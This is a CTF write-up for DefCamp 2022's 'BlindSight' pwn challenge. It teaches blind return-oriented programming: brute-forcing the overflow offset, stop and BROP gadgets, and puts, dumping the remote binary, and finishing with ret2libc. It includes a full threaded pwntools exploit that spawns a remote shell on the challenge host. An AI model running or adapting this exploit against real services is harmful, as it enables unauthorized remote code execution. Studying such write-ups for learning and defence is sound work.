# DefCamp CTF 2022 - BlindSight **Category - Pwn** **Challenge Files - https://github.com/Hellsender01/CTF-Writeups/tree/main/DefCamp%20CTF%202022** ![](https://i.imgur.com/QNgzAou.png) # Recon Only LIBC was given, So It was clear we have to do a remote attack, after connecting to service we get - ``` ➜ blindsight nc 34.159.129.6 30550 Are you blind my friend? AAAA No password for you! ``` So my first thought was `blind format string attack` as I have seen it in previous ctfs also but after trying `%x` there was no leak. ``` ➜ blindsight nc 34.159.129.6 30550 Are you blind my friend? %x No password for you! ``` Hmmm.... Now I tried `A*100` and the program does not respond with `No password for you!` and just quits, which can be assumed that we have crashed the binary. ``` ➜ blindsight nc 34.159.129.6 30550 Are you blind my friend? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` So, At this stage I was stuck until one of my teammate introduced me to a technique known as `blind rop`, I don't know why but I was unaware of this technique till this point. I read this amazing article on blind rop- https://www.lazenca.net/pages/viewpage.action?pageId=16810286 After reading this I got a blurry image of this technique in my mind, It's time to make my hands dirty. Before everthing I should make it clear that I will assume binary does not have canary and pie enabled, though both canary and pie can easily be beaten by bruteforcing byte by byte. # Introduction To Blind ROP There are 6 main steps in this technique - Finding Offset - Finding Stop Gadget - Finding Brop Gadget - Finding Puts or Printf Or Write - Leaking Binary - Final Exploitation Stop Gadget - Address from where program can get restarted like _start,main,etc. BROP Gadget - Address of 6 pop instructions in __libc_csu_init. ``` 0x00000000004007ba <+90>: pop rbx 0x00000000004007bb <+91>: pop rbp 0x00000000004007bc <+92>: pop r12 0x00000000004007be <+94>: pop r13 0x00000000004007c0 <+96>: pop r14 0x00000000004007c2 <+98>: pop r15 0x00000000004007c4 <+100>: ret ``` Finding Offset is simple just send `'A'*i` in a loop and when the program doesn't respond that means you found a crash and hence also the offset. Next is finding stop gadget which restarts the binary but first of all why do we need this? answer is simple there are several use cases of it like when we leak libc address using puts we need to start the program again to send ret2system rop chain, also this will help us to find brop gadget which I will explain in a bit. Stop gadget can be found easily by just bruteforcing the retrurn address and if you see the program prints the first string `Are you blind my friend?` again then you have found a stop gadget. `Note - There can be several stop gadgets in a program` Now Lets come to Brop gadget and why do we need it. We need brop gadget because finding 6 pop instructions is easy comapring to any other gadget and also all the usefull gadgets like `pop rdi`,`pop rsi` are very near to brop gadget. To find Brop gadget we will enter six junk items in the stack followed by stop_gadget, so 6 pop instructions will put the junk in registers and stop_gadget will go in the ret instruction which will restart the program and if you see the program prints the first string `Are you blind my friend?` again then you have found the brop gadget. pop rdi gadget is at `brop_gadget+0x9` so we have found pop rdi too. To find puts plt address we will pass base address of binary to rdi i.e 0x400000 using pop rdi gadget we found earlier and then we will brute force return address, if we recv '\x7fELF' in response, that means it is puts address. Same applies for printf and write just need to set the arguments differently. Now we have puts and pop rdi with us we can easily leak whole binary. We mainly need binary to get puts got address. In last, it is as simple as doing a ret2libc attack to get the shell. # Exploitation ## Finding Offset We will send `A` in increasing order and when we see a crash we will return the offset found. ```python= def find_offset(): payload = b"" for i in range(1, 1000): payload = b"A" * i io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: io.recv(timeout=1) io.close() except: return i - 1 ``` ## Finding Stop Gadget We will bruteforce addresses until we see the string `Are you blind my friend?\n` again. ```python= offset_list = [i for i in range(1, 0x1000)] offset_iter = iter(offset_list) def find_stop_gadget(): global stop_gadget while not stop_gadget: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(address) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if b"Are you blind my friend?" in data: stop_gadget = address ``` ## Finding Brop Gadget We will send `6*0x00000000000000001` and then stop_gadget, 6 pop instruction will pass `0x00000000000000001` to registers and stop_gadget to ret instruction and when we see the first string `Are you blind my friend?` again we will stop. Also, I have added a check to see if the brop gadget is correct by passing `7 * 0x00000000000000001` into stack this will place `0x00000000000000001` into the registers as well as in the ret instruction which will crash the program. I have done so because for some reason we were getting some false brop gadget without this check. ```python= def find_BROP_Gadget(): global brop_gadget while not brop_gadget: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(address) payload += p64(1) * 6 payload += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if b"Are you blind my friend?" in data: payload = cyclic(offset) payload += p64(address) payload += p64(1) * 7 io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) try: io.send(payload) io.recv(timeout=1) io.close() continue except: brop_gadget = address ``` ## Finding Puts We will pass base address to rdi and keep trying every address until we see `\x7fELF` in response. ```python= def find_puts(): global puts while not puts: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(pop_rdi) payload += p64(BASE) payload += p64(address) payload += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if data.startswith(b"\x7fELF"): puts = address ``` ## Dumping ELF Now we have `puts` and `pop_rdi`, we can dump the binary from `0x600000-0x602000` address range.I dumped the binary from `0x400000-0x401000` but that doesn't conatins got table, so many times `0x600000-0x602000` address range contains got table which can give us got address of puts. ```python= def dump_elf(): p = log.progress("Dumping Binary") counter = 0x600000 elf = b"" while counter < 0x602000: payload = cyclic(offset) payload += p64(pop_rdi) payload += p64(counter) payload += p64(puts) payload += p64(stop_gadget) if counter % 0x100 == 0: p.status(f"Done Upto {hex(counter)}") io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recvline(timeout=1, keepends=False) io.close() if len(data) == 0: data = b"\0" except: break elf += data counter += len(data) file = open("binary", "wb+") file.write(elf) file.close() p.success("Done") ``` ## Making ROP Chain Lastly we have everthing to do a ret2libc attack, we will leak puts got address using ret2plt then calling stop_gadget to start the program again. After that we will compute the libc base address and then simple ret2system. ```python= ret2plt = cyclic(offset) ret2plt += p64(pop_rdi) ret2plt += p64(puts_got) ret2plt += p64(puts) ret2plt += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(ret2plt) leak = io.recvline()[:6] libc.address = unpack(leak, "all") - libc.sym.puts info(f"LIBC BASE: {hex(libc.address)}") ret2system = cyclic(offset) ret2system += p64(pop_rdi) ret2system += p64(next(libc.search(b"/bin/sh\x00"))) ret2system += p64(libc.sym.system) io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(ret2system) p.success("EXPLOITED!!!") io.interactive() ``` # Full-Exploit Note - Due to threading this can give false result sometimes. ```python= #!/usr/bin/python3 from pwn import * from threading import Thread HOST = "34.159.129.6" PORT = 30550 BASE = 0x400000 libc = ELF("libc-2.23.so", checksec=False) brop_gadget = None stop_gadget = None puts = None offset_list = [i for i in range(1, 0x1000)] def find_offset(): payload = b"" for i in range(1, 1000): payload = b"A" * i io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: io.recv(timeout=1) io.close() except: return i - 1 def find_stop_gadget(): global stop_gadget while not stop_gadget: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(address) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if b"Are you blind my friend?" in data: stop_gadget = address def find_BROP_Gadget(): global brop_gadget while not brop_gadget: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(address) payload += p64(1) * 6 payload += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if b"Are you blind my friend?" in data: payload = cyclic(offset) payload += p64(address) payload += p64(1) * 7 io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) try: io.send(payload) io.recv(timeout=1) io.close() continue except: brop_gadget = address def find_puts(): global puts while not puts: try: address = BASE + next(offset_iter) except StopIteration: break payload = cyclic(offset) payload += p64(pop_rdi) payload += p64(BASE) payload += p64(address) payload += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recv(timeout=1) io.close() except: io.close() continue if data.startswith(b"\x7fELF"): puts = address def dump_elf(): p = log.progress("Dumping Binary") counter = 0x600000 elf = b"" while counter < 0x602000: payload = cyclic(offset) payload += p64(pop_rdi) payload += p64(counter) payload += p64(puts) payload += p64(stop_gadget) if counter % 0x100 == 0: p.status(f"Done Upto {hex(counter)}") io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(payload) try: data = io.recvline(timeout=1, keepends=False) io.close() if len(data) == 0: data = b"\0" except: break elf += data counter += len(data) file = open("binary", "wb+") file.write(elf) file.close() p.success("Done") def thread_manager(func): threads_list = [] for i in range(10): threads_list.append(Thread(target=func)) for thread in threads_list: thread.start() for thread in threads_list: thread.join() p = log.progress("Current State") p.status("Finding Offset") offset = find_offset() info(f"OFFSET: {offset}") p.status("Finding Stop Gadget") offset_iter = iter(offset_list) thread_manager(find_stop_gadget) info(f"STOP GADGET: {hex(stop_gadget)}") p.status("Finding BROP Gadget") offset_iter = iter(offset_list) thread_manager(find_BROP_Gadget) info(f"BROP GADGET: {hex(brop_gadget)}") pop_rdi = brop_gadget + 0x9 info(f"POP RDI: {hex(pop_rdi)}") p.status("Finding PUTS") offset_iter = iter(offset_list) thread_manager(find_puts) info(f"PUTS PLT: {hex(puts)}") p.status("Dumping ELF") dump_elf() p.status("ELF Dumped!!!") puts_got = int(input("Enter PUTS GOT address in hex: "),16) info(f"PUTS GOT: {hex(puts_got)}") p.status("Executing ROP") ret2plt = cyclic(offset) ret2plt += p64(pop_rdi) ret2plt += p64(puts_got) ret2plt += p64(puts) ret2plt += p64(stop_gadget) io = remote(HOST, PORT, level="error") io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(ret2plt) leak = io.recvline()[:6] libc.address = unpack(leak, "all") - libc.sym.puts info(f"LIBC BASE: {hex(libc.address)}") ret2system = cyclic(offset) ret2system += p64(pop_rdi) ret2system += p64(next(libc.search(b"/bin/sh\x00"))) ret2system += p64(libc.sym.system) io.recvuntil(b"Are you blind my friend?\n", timeout=1) io.send(ret2system) p.success("EXPLOITED!!!") io.interactive() ``` ![](https://i.imgur.com/9Kl47oO.png) Flag - CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}